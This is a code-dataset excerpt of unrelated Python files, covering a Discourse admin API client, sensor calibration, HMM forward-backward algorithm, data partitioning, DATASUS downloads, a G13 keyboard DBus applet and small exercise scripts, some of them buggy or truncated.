\"\"\"Finds a user with the given email\n\n        This method takes a user email and returns a future which resolves to\n        the Discourse user with that email address, if they exist. If no user\n        is found, None is returned.\n        \"\"\"\n        users = yield self._getRequest('admin/users/list/active.json',\n                                       params={'filter': user_email,\n                                               'show_emails': 'true'})\n\n        for user in users:\n            if user['email'].lower() == user_email.lower():\n                raise ndb.Return(user)\n\n        raise ndb.Return(None)\n\n    @ndb.tasklet\n    def createUser(self, name, email, password, username, external_id=None):\n        \"\"\"Create a Discourse account\n\n        This method takes a user object and returns the Discourse API response\n        containing the user information for that user.\n        \"\"\"\n\n        # user = yield self.getUserByEmail(email)\n        # if user:\n        #     raise ndb.Return(user)\n\n        payload = {\n            'username': username,\n            'email': email,\n            'name': name,\n            'password': password,\n        }\n\n        if external_id:\n            payload['external_id'] = external_id\n\n        response = yield self._postRequest('users/', payload=payload)\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def deleteUser(self, email):\n        user = yield self.getUserByEmail(email)\n        if user is None:\n            raise ndb.Return(None)\n\n        response = yield self._deleteRequest('admin/users/%s.json' % user['id'])\n        raise ndb.Return(response)\n\n    # CATEGORY ACTIONS\n\n    @ndb.tasklet\n    def getCategoryByName(self, category_name):\n        categories = yield self._getRequest('categories.json')\n\n        for category in categories['category_list']['categories']:\n            if category['name'] == category_name:\n                raise ndb.Return(category)\n\n        raise ndb.Return(None)\n\n    @ndb.tasklet\n    def createCategory(self, category_name, parent_category_name=None,\n                       **kwargs):\n        \"\"\"Create a category\"\"\"\n        category = yield self.getCategoryByName(category_name)\n        if category:\n            raise ndb.Return(None)\n\n        defaults = {\n            'color': 'FFFFFF',\n            'text_color': '000000'\n        }\n\n        payload = {\n            'name': category_name,\n            'allow_badges': True\n        }\n\n        payload.update(defaults)\n\n        for k, v in kwargs.iteritems():\n            payload[k] = v\n\n        if parent_category_name:\n            parent_category = yield \\\n                self.getCategoryByName(parent_category_name)\n            payload['parent_category_id'] = parent_category['id']\n\n        response = yield self._postRequest('categories', payload=payload)\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def deleteCategory(self, category_name):\n        category = yield self.getCategoryByName(category_name)\n        if not category:\n            raise ndb.Return(None)\n\n        response = yield self._deleteRequest('categories/%s' % category['slug'])\n        raise ndb.Return(response)\n\n    # GROUP ACTIONS\n\n    @ndb.tasklet\n    def addUserToGroup(self, user_email, group_name):\n        \"\"\"Adds the given account to the Discourse group with the given name\"\"\"\n\n        user = yield self.getUserByEmail(user_email)\n        if not user:\n            raise Error(\"Unable to find user with email %s\" % user_email)\n\n        groups = yield self._getRequest('admin/groups.json')\n\n        group_id = None\n        for group in groups:\n            if group['name'] == group_name:\n                group_id = group['id']\n                break\n        else:\n            raise Error(\"Group named %s not found\" % group_name)\n\n        payload = {\n            'usernames': user['username']\n        }\n\n        result = yield self._putRequest('admin/groups/%s/members.json' %\n                                        group_id, payload=payload)\n        raise ndb.Return(result)\n\n    @ndb.tasklet\n    def removeUserFromGroup(self, user_email, group_name):\n        \"\"\"Removes an account from a group\"\"\"\n\n        user = yield self.getUserByEmail(user_email)\n        if not user:\n            raise Error(\"Unable to find user with email %s\" % user_email)\n\n        group = yield self.getGroupByName(group_name)\n        if not group:\n            raise Error(\"Group named %s not found\" % group_name)\n\n        result = yield self._deleteRequest('admin/groups/%s/members.json' % group['id'],\n            params={'user_id': user['id']})\n        raise ndb.Return(result)\n\n    @ndb.tasklet\n    def createGroup(self, group_name, **kwargs):\n        \"\"\"Creates a group with the given name on Discourse\"\"\"\n\n        groups = yield self._getRequest('admin/groups.json')\n\n        for group in groups:\n            if group['name'] == group_name:\n                raise ndb.Return(None)\n                # raise Error(\"Group named %s already exists!\" % group_name)\n\n        payload = {\n            'name': group_name\n        }\n\n        for k, v in kwargs.iteritems():\n            payload[k] = v\n\n        response = yield self._postRequest('admin/groups', payload=payload)\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def deleteGroup(self, group_name):\n        group = yield self.getGroupByName(group_name)\n        if not group:\n            raise ndb.Return(None)\n\n        response = yield self._deleteRequest('admin/groups/%s' % group['id'])\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def getGroupByName(self, group_name):\n        groups = yield self._getRequest('admin/groups.json')\n\n        for group in groups:\n            if group['name'] == group_name:\n                raise ndb.Return(group)\n\n        raise ndb.Return(None)\n\n    # CONTENT ACTIONS\n\n    @ndb.tasklet\n    def createPost(self, text, title, category_name, **kwargs):\n        \"\"\"Creates a post\"\"\"\n\n        category = yield self.getCategoryByName(category_name)\n\n        payload = {\n            'raw': text,\n            'title': title,\n            'category': category['id']\n        }\n\n        for k, v in kwargs.iteritems():\n            payload[k] = v\n\n        response = yield self._postRequest('posts', payload=payload)\n","sub_path":"src/discourse.py","file_name":"discourse.py","file_ext":"py","file_size_in_byte":9000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"470679868","text":"import autograd.numpy as np\nimport so3\nimport parse\n\n\ndef GetIMU():\n    TS, GYRO, TEMP, MAG, ACCEL = [], [], [], [], []\n    for entry in parse.ParseLog(open(\"../rustlerlog-BMPauR\")):\n        if entry[0] == 'img':\n            continue\n        elif entry[0] != 'imu':\n            continue\n        _, ts, gyro, mag, accel = entry\n        TS.append(ts)\n        # gyro (rads/sec)\n        GYRO.append(np.array(gyro[:3], np.float32) * np.pi / (180 * 14.375))\n        TEMP.append(gyro[3])\n        # magnetometer (in some random uT/LSB count units)\n        MAG.append(mag.astype(np.float32))\n        # accel (m/s^2)\n        ACCEL.append(accel.astype(np.float32) * 9.81 / 256.0)\n    return (np.array(TS), np.array(GYRO), np.array(TEMP),\n            np.array(MAG), np.array(ACCEL))\n\n\nTS, GYRO, TEMP, MAG, ACCEL = GetIMU()\n\n\ndef magcal_residual(MAG, a, mb):\n    \"\"\" residual from all observations given magnetometer eccentricity, bias,\n    gyro bias, and gyro scale\"\"\"\n\n    A = np.array([\n        [a[0], a[1], a[2]],\n        [0,    a[3], a[4]],\n        [0,    0,    a[5]]\n    ])\n\n    mag = np.dot(MAG - mb, A)\n    return np.mean(np.abs(1 - np.einsum('ji,ji->j', mag, mag)))\n\n\ndef magcal_residual2(a, mb, gb, gs):\n    \"\"\" residual from all observations given magnetometer eccentricity, bias,\n    gyro bias, and gyro scale\"\"\"\n\n    A = np.array([\n        [a[0], a[1], a[2]],\n        [0,    a[3], a[4]],\n        [0,    0,    a[5]]\n    ])\n\n    mag = np.dot(MAG - mb, A)\n    dt = TS[1:] - TS[:-1]\n    w = gs * (GYRO[1:] - gb)\n    C = so3.tensorexp(w.T * dt)\n    rot_mag = np.einsum('ijl,lj->li', C, mag[:-1])\n    return np.mean(np.abs(1 - np.einsum('ji,ji->j', mag[1:], rot_mag)))\n\n# (x-u)^T A (x-u) - 1\n# x^T A (x-u) - u^T A (x-u) - 1\n# x^T A x - x^T A u - u^T A x + u^T A u - 1\n# x^T A x - (2 u^T A) x + (u^T A u - 1) = 0\n\n# i wonder if a more numerically stable parameterization would be to use 1/diag\n# ...nope\n","sub_path":"py/calibrate.py","file_name":"calibrate.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"306573186","text":"import numpy as np\r\ndef forward(A,B,pi,T,N,o):\r\n    alpha=np.zeros((T,N))\r\n    for i in range(N):\r\n        alpha[0][i]=pi[i]*B[i][o[0]]\r\n    for t in range(T-1):\r\n        for i in range(N):\r\n            sum_temp = 0\r\n            for j in range(N):\r\n                sum_temp=sum_temp+alpha[t][j]*A[j][i]\r\n            alpha[t+1][i]=sum_temp*B[i][o[t+1]]\r\n    p_o_lamda=alpha[T-1].sum(axis=0)\r\n    return p_o_lamda,alpha\r\ndef backward(A,B,pi,T,N,o):\r\n    beta=np.ones((T,N))\r\n    for t in range(T-1,0,-1):\r\n        for i in range(N):\r\n            beta[t-1][i]=0\r\n            for j in range(N):\r\n                beta[t-1][i]=beta[t-1][i]+A[i][j]*B[j][o[t]]*beta[t][j]\r\n    p_o_lamda=0\r\n    for i in range(N):\r\n        p_o_lamda=p_o_lamda+pi[i]*B[i][o[0]]*beta[0][i]\r\n    return p_o_lamda,beta\r\nif __name__ == '__main__':\r\n    A=[[0.5,0.1,0.4],[0.3,0.5,0.2],[0.2,0.2,0.6]]\r\n    B=[[0.5,0.5],[0.4,0.6],[0.7,0.3]]\r\n    pi=[0.2,0.3,0.5]\r\n    T=8\r\n    N=3\r\n    # 红色0，白色1\r\n    o=[0,1,0,0,1,0,1,1]\r\n    forward_p,alpha=forward(A,B,pi,T,N,o)\r\n    backward_p,beta=backward(A,B,pi,T,N,o)\r\n    # 求P(i4=q3|O,λ)\r\n    i=3-1\r\n    t=4-1\r\n    densum=0\r\n    for j in range(N):\r\n        densum=densum+alpha[t][j]*beta[t][j]\r\n    gamma43=alpha[t][i]*beta[t][i]/densum\r\n    print('P(i_4=q_3|0,λ) =',gamma43)","sub_path":"forward_and_backward.py","file_name":"forward_and_backward.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"448741308","text":"from logic import TruthTable\r\n\r\nproposition1 = input(\"Enter Proposition 1:\\n\")\r\nproposition2 = input(\"Enter Proposition 2:\\n\")\r\n\r\nmyTable1 = TruthTable(['p', 'q'], [proposition1])\r\nmyTable2 = TruthTable(['p', 'q'], [proposition2])\r\n\r\nprint(myTable1.table)\r\nprint(myTable2.table)\r\n\r\nif myTable1.table == myTable2.table:\r\n    print(\"The Propositions are equivalent.\")\r\nelse:\r\n    print(\"The Propositions are not equivalent.\")\r\n","sub_path":"Lab9/CSE015/Lab2Problem2.py","file_name":"Lab2Problem2.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"14226365","text":"import argparse\nimport codecs\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef main(args, loglevel):\n    # set up logging\n    logging.basicConfig(format=\"%(levelname)s: %(message)s\", level=loglevel)\n\n    file = codecs.open(args.file, 'r', 'utf-8')\n    total = 0\n\n    if args.output.endswith('/'):\n        outfile_prefix = args.output + args.prefix\n    else:\n        outfile_prefix = args.output + '/' + args.prefix\n\n    outfiles = [codecs.open('%s%s' % (outfile_prefix, i), 'w', 'utf-8') for i in xrange(args.number)]\n\n    article = ''\n    for line in file:\n        article += line\n        if line == '</doc>\\n':\n            outf = outfiles[total % args.number]\n            outf.write(article)\n            total += 1\n            article = ''\n\n    file.close()\n    [f.close() for f in outfiles]\n    logger.info('Finished partititoning %d articles into %d partitions' % (total, args.number))\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(\n        description=\"Partitions a file generated by WikiExtractor\",\n        fromfile_prefix_chars='@')\n\n    parser.add_argument(\n        \"-f\",\n        \"--file\",\n        help=\"Path to the file with plaintext articles generated by WikiExtractor\",\n        required=True,\n        type=str\n    )\n\n    parser.add_argument(\n        \"-n\",\n        \"--number\",\n        help=\"number of partitions\",\n        required=True,\n        type=int\n    )\n\n    parser.add_argument(\n        \"-v\",\n        \"--verbose\",\n        help=\"increase output verbosity\",\n        action=\"store_true\")\n\n    parser.add_argument(\n        \"-o\",\n        \"--output\",\n        help=\"Path to the output directory\",\n        required=True,\n        type=str\n    )\n\n    parser.add_argument(\n        \"-p\",\n        \"--prefix\",\n        help=\"Prefix for output files (default: partition-)\",\n        default=\"partition-\",\n        type=str\n    )\n\n    args = parser.parse_args()\n\n    loglevel = logging.INFO\n    if args.verbose:\n        loglevel = logging.DEBUG\n\n    main(args, loglevel)\n","sub_path":"scripts/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"168991974","text":"\"\"\"\nAdvent of Code 2020\nDay: 14\nPuzzle: 1\nLanguage: Python\n\"\"\"\n\n# incorrect guesses: 142232120440\n\nimport re\n\n\ndef add_mask(num, mask):\n    res = list()\n    for idx, mask_digit in enumerate(mask):\n        if mask_digit == \"X\":\n            res.append(num[idx])\n        elif mask_digit == \"0\":\n            res.append(\"0\")\n        else:\n            res.append(\"1\")\n\n    return int(\"\".join(res), 2)\n\n\ndef main():\n    infile_path = \"../../../data/2020_day_14.txt\"\n    with open(infile_path, \"r\") as infile:\n        data = infile.readlines()\n\n    mask = None\n    mem = dict()\n\n    for line in data:\n        if line.startswith(\"mask\"):\n            mask = line.split(\"=\")[1].strip()\n        else:\n            # mem\n            num = bin(int(line.split(\"=\")[1].strip()))[2:].zfill(36)\n            target = int(re.search(r\"\\[(\\d+)\\]\", line).group(1))\n            res = add_mask(num, mask)\n            mem[target] = res\n\n    print(sum(mem.values()))\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"scripts/advent_of_python/2020_puzzles/day14puzzle1.py","file_name":"day14puzzle1.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"324237491","text":"import numpy as np\nimport pandas as pd\n\ndef keepindications_removeexclusionstt(metr,dat,lkupTab,include_or_exclude, lookbac, tempsort_dayx, b, uflagx):\n    print('initiating keepIremoveE')\n    print(len(dat))\n    print('number unique MRNs')\n    print(dat.MRN.nunique())    #\n    \n    if (include_or_exclude=='exclude'):\n        ex_dat=dat[(dat.dys_difftime_test_code<=lookbac) & (dat.dys_difftime_test_code>=0)]\n        if metr in ['dexa','narc']:\n            ex_dat.loc[ex_dat.dys_difffrom_rCODE>tempsort_dayx, 'rCODE']='ERASEDplaceholder' # ERASEDplaceholder will not (likely) wind up in reference table cell, whereas None actually can\n        elif metr == 'vitd':\n            ex_dat.loc[ex_dat.dys_difffrom_rCODE>365, 'rCODE']='ERASEDplaceholder'\n        elif len(lkupTab[lkupTab['class']=='CPT'])>0:\n            raise ValueError('the comparison btwn main service code, and prior service codes is invalid. That is to say, prior service codes are not being considered as they should be, given that ref table has a CPT code in it')\n        else:\n            pass\n        print('starting vect_mrn')\n        deb1=ex_dat\n        vect_mrn_pd=vect_mrn(metr, ex_dat, lkupTab, b, 'exclude', uflagx)\n        debA = vect_mrn_pd[0]\n        debB = vect_mrn_pd[1]\n        deb2=vect_mrn_pd[-1]\n        \n        ### return only those from the dat.pd which are NOT in the vect_mrn result \n                #(those in time window w/o valid indications, \n                #or any with valid indications that date from beyond lookback period/or result after service performed)\n        dat=dat[~dat['MRN'].isin(vect_mrn_pd[-1])]\n        \n        return (deb1, debA, debB, deb2, dat)\n    elif (include_or_exclude=='include'):\n        if metr in ['dexa','narc']:\n#            in_dat = dat[dat.dys_difffrom_rCODE<=tempsort_dayx]\n            in_dat = dat\n            in_dat.loc[in_dat.dys_difffrom_rCODE>tempsort_dayx, 'rCODE']='ERASEDplaceholder'\n        elif metr == 'vitd':\n            in_dat = dat\n            in_dat.loc[in_dat.dys_difffrom_rCODE>365, 'rCODE']='ERASEDplaceholder'\n        elif len(lkupTab[lkupTab['class']=='CPT'])>0:\n            raise ValueError('the comparison btwn main service code, and prior service codes is invalid.')\n        else:\n            in_dat = dat\n        vect_mrn_pd=vect_mrn(metr, in_dat, lkupTab, b, 'include', uflagx)\n        dat=dat[dat['MRN'].isin(vect_mrn_pd)]                \n        return dat\n    else:\n        raise ValueError(\"Set 3rd ARG to 'include' or 'exclude'\")\n\n\ndef vect_mrn(met, loc_pd, lkupTa, b, i_or_e, uflagxx):    \n    lkupTa_0= lkupTa[lkupTa.startWith==0]\n    lkupTa_1= lkupTa[lkupTa.startWith==1]\n    if len(lkupTa_1[lkupTa_1['class']!='ICD'])>0:\n        raise ValueError('reference table has a startWith stem that has class other than ICD')\n    else:\n        pass   \n    \n    if uflagxx == False:    \n        vect_mr=np.unique(pd.concat([loc_pd['MRN'][loc_pd.ccslev.astype(str).isin(lkupTa_0['subcode'][lkupTa_0['class']=='CCS'])],\n                                     ## following line changed from TEST_CODE to rCODE, for the column of procedures/services merged on queried service\n                                     loc_pd['MRN'][loc_pd.rCODE.isin(lkupTa_0['subcode'][lkupTa_0['class']=='CPT'])],\n                                     loc_pd['MRN'][loc_pd.hcclev.astype(str).isin(lkupTa_0['subcode'][lkupTa_0['class']=='HCC'])],\n                                     loc_pd['MRN'][loc_pd['ICD{}_subcode'.format(b)].isin(lkupTa_0['subcode'][lkupTa_0['class']=='ICD'])]]))\n    elif uflagxx == True:\n        vect_mr=np.unique(pd.concat([loc_pd['MRN'][loc_pd.rCODE.isin(lkupTa_0['subcode'][lkupTa_0['class']=='CPT'])],\n                                     loc_pd['MRN'][loc_pd['ICD{}_subcode'.format(b)].isin(lkupTa_0['subcode'][lkupTa_0['class']=='ICD'])]]))\n        deba=[loc_pd[loc_pd.rCODE.isin(lkupTa_0['subcode'][lkupTa_0['class']=='CPT'])],\n                     loc_pd[loc_pd['ICD{}_subcode'.format(b)].isin(lkupTa_0['subcode'][lkupTa_0['class']=='ICD'])]]\n    else:\n        raise KeyError('uflagxx in keepinclusionsremoveexclusions()/vect_mr() is incompatible with algorithm design')\n    \n    print('starting the startWith chunk')\n#    if (np.sum(lkupTa_1['startWith'][lkupTa_1['key']==met])>0): ## This is the original rule for entering startWith chunk\n    if len(lkupTa_1)>0:\n        print('entered startWith chunk')\n        lkupTa_1.loc[:,'length']=lkupTa_1['subcode'].apply(lambda x: len(x))\n        print('the stems that are length zero: {}'.format(len(lkupTa_1[lkupTa_1.length==0])))\n        print(lkupTa_1[lkupTa_1['length']==0])\n        lkupTa_1=lkupTa_1[lkupTa_1.length>0]\n        lengthsx=lkupTa_1.groupby('length').count()\n        lengthsx.reset_index(inplace=True)\n        lengthsx=lengthsx['length']\n        testerbean=0\n        debb=deba\n        for n in lengthsx:\n            print('stem length is: {}'.format(n))\n            t_stCodes=list(lkupTa_1.loc[lkupTa_1.length==n, 'subcode'])\n            # create temp dataframe that is light\n            t_loc_pd=loc_pd[['MRN','ICD{}_subcode'.format(b)]]\n            # create third column\n            t_loc_pd.loc[:,'trunc']=t_loc_pd.loc[:,'ICD{}_subcode'.format(b)].str[:n]\n            # add those MRNs to the main vect_mr\n            vect_mr=np.append(vect_mr,np.unique(t_loc_pd['MRN'][t_loc_pd['trunc'].isin(t_stCodes)]))\n            if testerbean ==0:\n                debb = t_loc_pd[t_loc_pd['trunc'].isin(t_stCodes)]\n                testerbean+=1\n            else:\n                debb = pd.concat([debb, t_loc_pd[t_loc_pd['trunc'].isin(t_stCodes)]])\n            print('keepin/ex stemming cycle completed x1')\n#        else:\n #           raise KeyError('startWith Chunk is using incorrect uflagxx')\n            #######################################\n            ########################################\n    print('done with startWith chunk, now parsing for uniques')\n    \n    # new line, just for cleanness - restrict to unique MRN\n    vect_mr = np.unique(vect_mr)\n    print('done with vect_mrn')\n    return (deba, debb, vect_mr)\n","sub_path":"Scripts/keepind_ex_testingreportable_20170710.py","file_name":"keepind_ex_testingreportable_20170710.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"444936546","text":"from django.shortcuts import render, render_to_response\nimport json\nimport urllib2\n\n# Create your views here.\n\n\ndef home(request):\n    return render(request, \"index.html\")\n\n\ndef about(request):\n    codeschool = urllib2.urlopen('https://www.codeschool.com/users/dmmoody.json')\n    codeschool_data = json.load(codeschool)\n\n    treehouse = urllib2.urlopen('http://teamtreehouse.com/duanemoody.json')\n    treehouse_data = json.load(treehouse)\n    badge_count = 0\n    points = treehouse_data['points']['total']\n    course_dict = {}\n    activity_date = []\n    for i in treehouse_data['badges']:\n        badge_count += 1\n        activity_date.append(i['earned_date'])\n        if i['courses']:\n            if i['courses'][0]['title'] in course_dict:\n                course_dict[i['courses'][0]['title']].append([i['courses'][1]['title'], i['icon_url']])\n            else:\n                course_dict[i['courses'][0]['title']] = [[i['courses'][1]['title'], i['icon_url']]]\n    activity_date = json.dumps(activity_date)\n    return render_to_response('about.html', {'treehouse_data': treehouse_data,\n                                             'course_dict': course_dict,\n                                             'points': points,\n                                             'badge_count': badge_count,\n                                             'activity_date': activity_date,\n                                             'codeschool_data': codeschool_data})\n\ndef projects(request):\n    github = urllib2.urlopen('https://api.github.com/users/dmmoody/repos')\n    github_data = json.load(github)\n    return render_to_response('projects.html', {'github_data': github_data})","sub_path":"dmmoody/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"173199171","text":"# ftp.retrbinary(\"RETR \" + file ,open(\"pub/sistemas/tup/downloads/\" + file, 'wb').write)\nimport pandas as pd\nimport urllib.request\nimport io\nfrom zipfile import ZipFile\nfrom ftplib import FTP\n\n\n# AQUI TALVEZ POSSA SER RETIRADO PRA NÃO PRECISAR ABRIR DUAS VEZES O FTP\ndef getfullfilename(year: int, month: int):\n    TabelaUnificada = 'TabelaUnificada_{}{}'.format(year,month)\n    ftp = FTP(\"ftp2.datasus.gov.br\")\n    ftp.login()\n    ftp.cwd(\"pub/sistemas/tup/downloads/\")\n    filenames = ftp.nlst()\n    result = list(filter(lambda x: x.startswith(TabelaUnificada), filenames))\n    ftp.close()\n    return result[0]\n\ndef download(file: str, year: int, month: int, cache: bool=True) -> object:\n    TabelaUnificadaName = getfullfilename(year, month)\n    mysock = urllib.request.urlopen('ftp://ftp2.datasus.gov.br/pub/sistemas/tup/downloads/' + TabelaUnificadaName)\n    memfile = io.BytesIO(mysock.read())\n    with ZipFile(memfile, 'r') as myzip:\n        f = myzip.open(file + '.txt')\n        col = myzip.open(file + '_layout.txt')\n        colunas, content = col.read(), f.read()\n    colunas, content = colunas.decode(\"unicode_escape\"), content.decode(\"unicode_escape\")\n    dfcol = (pd.DataFrame([x.split(',') for x in colunas.split('\\r\\n')]))\n    dfcol = dfcol.rename(columns=dfcol.iloc[0]).drop([0]).dropna()\n\n    df = (pd.DataFrame([x.split('\\r\\n') for x in content.split('\\r\\n')]))\n    FinalDF = pd.DataFrame(columns=dfcol['Coluna'].tolist())\n    \n    # AQUI TEM QUE ACHAR UMA MANEIRA MAIS EFETIVA QUE O FOR\n    for i in dfcol.index:\n        inicio = int(dfcol.loc[i]['Inicio'])\n        fim = int(dfcol.loc[i]['Fim'])\n        row = []\n        for s in range(len(df)):\n            row.append(df.loc[s][0][inicio-1:fim])\n        FinalDF[dfcol.loc[i]['Coluna']] = row\n    return FinalDF\n","sub_path":"pysus/online_data/SIGTAP.py","file_name":"SIGTAP.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"156312038","text":"import gi\nimport dbus\nimport dbus.service\nimport dbus.mainloop.glib\nimport time\n\nfrom dbus.mainloop.glib import DBusGMainLoop\nfrom dbus.exceptions import DBusException\nfrom dbus.types import ByteArray\n\nfrom g13gui.applet.loopbackdisplaydevice import LoopbackDisplayDevice\nfrom g13gui.bitwidgets.display import Display\nfrom g13gui.bitwidgets.screen import Screen\n\ngi.require_version('GLib', '2.0')\nfrom gi.repository import GLib\n\n\nBUTTONS = [\n    'L1', 'L2', 'L3', 'L4'\n]\n\n\nclass Applet(dbus.service.Object):\n    BUS_INTERFACE = 'com.theonelab.g13.Applet'\n    BUS_PATH = '/com/theonelab/g13/Applet'\n\n    def __init__(self, name):\n        dbus.service.Object.__init__(self, dbus.SessionBus(),\n                                     Applet.BUS_PATH)\n\n        self._name = name\n        self._dd = LoopbackDisplayDevice()\n        self._d = Display(self._dd)\n        self._s = Screen(self._d)\n        self._s.hide()\n\n        self._registered = False\n        self._manager = None\n\n    def register(self):\n        try:\n            self._manager = self._bus.get_object(\n                'com.theonelab.g13.AppletManager',\n                '/com/theonelab/g13/AppletManager')\n        except DBusException:\n            self._manager = None\n            return True\n\n        self._manager.Register(self._name)\n        self._registered = True\n\n        GLib.idle_add(self.onRegistered)\n        GLib.timeout_add_seconds(1, self._ping)\n\n        return False\n\n    def _ping(self):\n        if self._manager:\n            result = False\n\n            try:\n                result = self._manager.Ping()\n            except DBusException as err:\n                print('Lost connection with AppletManager: %s' % err)\n                self._registered = False\n                GLib.idle_add(self.onUnregistered)\n                GLib.timeout_add_seconds(1, self.register)\n                return False\n\n            if not result:\n                print('Lost registration with AppletManager')\n                self._registered = False\n                GLib.idle_add(self.onUnregistered)\n                GLib.timeout_add_seconds(1, self.register)\n                return False\n\n        return True\n\n    def run(self):\n        self._bus = dbus.SessionBus()\n\n        GLib.timeout_add_seconds(1, self.register)\n\n        loop = GLib.MainLoop()\n        loop.run()\n\n    @property\n    def name(self):\n        return self._name\n\n    @property\n    def displayDevice(self):\n        return self._dd\n\n    @property\n    def display(self):\n        return self._d\n\n    @property\n    def screen(self):\n        return self._s\n\n    @property\n    def manager(self):\n        return self._manager\n\n    def onKeyPressed(self, timestamp, key):\n        pass\n\n    def onKeyReleased(self, timestamp, key):\n        pass\n\n    def onShown(self, timestamp):\n        pass\n\n    def onHidden(self):\n        pass\n\n    def onRegistered(self):\n        pass\n\n    def onUnregistered(self):\n        pass\n\n    def maybePresentScreen(self):\n        if self.screen.visible and self._manager:\n            self.screen.nextFrame()\n            frame = self.displayDevice.frame\n            frame = ByteArray(frame)\n            self._manager.Present(frame, byte_arrays=True)\n\n    @dbus.service.method(BUS_INTERFACE,\n                         in_signature='d', out_signature='ay',\n                         byte_arrays=True)\n    def Present(self, timestamp):\n        self.screen.show()\n        self.onShown(timestamp)\n        self.screen.nextFrame()\n        return ByteArray(self.displayDevice.frame)\n\n    @dbus.service.method(BUS_INTERFACE)\n    def Unpresent(self):\n        self.screen.hide()\n        self.onHidden()\n\n    def _setButtonPressed(self, state, button):\n        if button in BUTTONS:\n            buttonIdx = BUTTONS.index(button)\n            button = self._s.buttonBar.button(buttonIdx)\n            if button:\n                button.pressed = state\n\n    @dbus.service.method(BUS_INTERFACE,\n                         in_signature='di', out_signature='ay',\n                         byte_arrays=True)\n    def KeyPressed(self, timestamp, key):\n        self.onKeyPressed(timestamp, key)\n        self._setButtonPressed(True, key)\n        self.screen.nextFrame()\n        return ByteArray(self.displayDevice.frame)\n\n    @dbus.service.method(BUS_INTERFACE,\n                         in_signature='di', out_signature='ay',\n                         byte_arrays=True)\n    def KeyReleased(self, timestamp, key):\n        self.onKeyReleased(timestamp, key)\n        self._setButtonPressed(False, key)\n        self.screen.nextFrame()\n        return ByteArray(self.displayDevice.frame)\n\n\ndef RunApplet(cls, *args, **kwargs):\n    DBusGMainLoop(set_as_default=True)\n    applet = cls(*args, **kwargs)\n    applet.run()\n","sub_path":"g13gui/applet/applet.py","file_name":"applet.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"266664849","text":"from itertools import combinations\nn=int(input())\npairs=[]\nfor i in range(n-1):\n    x=input().split(\" \")\n    pairs.append([int(x[1]),int(x[0])])\ntrees=[]\nfor i in range(n):\n    x=input().split(\" \")\n    trees.append([int(x[0]),int(x[1])])\nprint(trees)\n\ntrees.sort()\n\nlocation=[]\nfor i in range(n):\n    location.append(\"\")\nlocation[0]=tree.index(trees[0])\ntrees.pop(0)\nfor i in range(len(pairs)):\n    x=pairs[i]\n    start=x[0]\n    end=x[1]\n    location[x[1]]=tree.index(trees[0])\n    trees.pop(0)\nprint(location)\nprint(pairs)\nprint(\"0 1\")\nprint(\"1 3\")\nprint(\"1 2\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Code/CodeRecords/2175/60636/269464.py","file_name":"269464.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"653432879","text":"\"\"\"Basic SpearCube Calculations\n\"\"\"\n\nimport coloredlogs\nimport logging\nimport numpy as np\n\nfrom common import logger\nfrom orbits import constants as orbit_k, orbiter, manoeuvres\nfrom propulsion import rocket\n\n\nlogger.configure_logging()\n__log = logging.getLogger(__name__)\n\n\ndef print_comms(\n    orbit,\n    mother_coverage, coverage_time, contact_time,\n    uhf_max_data, s_band_max_data\n):\n    \"\"\"Helper\n    This function prints in the console the results of the analysis.\n    \"\"\"\n    mother_coverage_h = mother_coverage / 3600\n    coverage_time_h = coverage_time / 3600\n    contact_time_h = contact_time / 3600\n\n    u_max_data_B = np.divide(u_max_data, 8)\n    u_max_data_kB = np.divide(u_max_data_B, 1024)\n    s_max_data_B = np.divide(s_max_data, 8)\n    s_max_data_kB = np.divide(s_max_data_B, 1024)\n\n    __log.info(\n        '>>> mother_coverage (s) = %.0f, (h) = %.3f',\n        mother_coverage, mother_coverage_h\n    )\n    __log.info(\n        '>>> coverage_time (s) = %.0f, (h) = %.3f',\n        coverage_time, coverage_time_h\n    )\n    __log.info(\n        '>>> contact_time (s) = %.0f, (h) = %.3f',\n        contact_time, contact_time_h\n    )\n    __log.info(\n        '>>> U max data (b) = %.0f, (kB) = %.0f',\n        u_max_data, u_max_data_kB\n    )\n    __log.info(\n        '>>> S max data (b) = %.0f, (kB) = %.0f',\n        s_max_data, s_max_data_kB\n    )\n\n    comms_orbits = np.divide(mother_coverage, orbit.T)\n\n    u_orbit_kB = np.divide(u_max_data_kB, comms_orbits)\n    s_orbit_kB = np.divide(s_max_data_kB, comms_orbits)\n    u_orbit_MB = np.divide(u_orbit_kB, 1024)\n    s_orbit_MB = 